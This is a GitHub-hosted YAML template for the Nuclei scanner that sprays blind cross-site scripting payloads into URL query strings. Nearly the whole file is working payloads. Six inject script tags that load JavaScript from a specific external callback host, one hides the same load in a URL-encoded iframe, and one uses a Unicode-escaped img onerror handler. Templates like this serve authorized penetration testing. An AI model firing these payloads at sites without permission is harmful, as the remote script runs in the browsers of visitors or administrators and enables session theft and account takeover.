-
Notifications
You must be signed in to change notification settings - Fork 25
/
Copy path0x71rex-blind-xss.yaml
61 lines (55 loc) · 2.23 KB
/
0x71rex-blind-xss.yaml
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
id: blind-xss
info:
name: Blind Cross Site Scripting
author: 0xKayala (Satya Prakash)
severity: high
description: This template will spray blind XSS payloads into URLs. Use 'xss.report', 'bxsshunter.com', 'xsshunter.trufflesecurity.com', 'ez.pe' or 'self-hosted server' to check if the payload fired.
tags: xss, blind-xss, dast, bxss, generic
variables:
first: "{{rand_int(10000, 99999)}}"
script_payload_1: "<script>$.getScript(\"//js.rip/1wqkhxuglq\")</script>"
script_payload_2: "</script><script%20/src=//js.rip/1wqkhxuglq></script>\"><41707"
script_payload_3: "<script /src=//js.rip/1wqkhxuglq></script>"
script_payload_4: "<script src=\"//js.rip/1wqkhxuglq\"></script>"
script_payload_5: "</script><script src='https://js.rip/1wqkhxuglq'></script>"
script_payload_6: "<script src=//js.rip/1wqkhxuglq></script>"
script_payload_7: "\u0022\u003cimg\u0020src\u003dx\u0020onerror\u003d\u0022confirm(document.domain)\u0022\u003e"
script_payload_8: "%3Cdiv%20id%3D%22load%22%3E%3C%2Fdiv%3E%3Cscript%3Evar%20i%20%3D%20document.createElement%28%27iframe%27%29%3B%20i.style.display%20%3D%20%27none%27%3B%20i.onload%20%3D%20function%28%29%20%7B%20i.contentWindow.location.href%20%3D%20%27%2F%2Fjs%2Erip%2F1wqkhxuglq%27%3B%20%7D%3B%20document.getElementById%28%27load%27%29.appendChild%28i%29%3B%3C%2Fscript%3E"
http:
- method: GET
path:
- "{{BaseURL}}"
payloads:
blind:
- "{{script_payload_1}}"
- "{{script_payload_2}}"
- "{{script_payload_3}}"
- "{{script_payload_4}}"
- "{{script_payload_5}}"
- "{{script_payload_6}}"
- "{{script_payload_7}}"
- "{{script_payload_8}}"
fuzzing:
- part: query
type: postfix
mode: single
fuzz:
- "{{blind}}"
stop-at-first-match: true
matchers-condition: and
matchers:
- type: word
part: body
words:
- "{{script_payload_1}}"
- "{{script_payload_2}}"
- "{{script_payload_3}}"
- "{{script_payload_4}}"
- "{{script_payload_5}}"
- "{{script_payload_6}}"
- "{{script_payload_7}}"
- "{{script_payload_8}}"
- type: word
part: header
words:
- "text/html"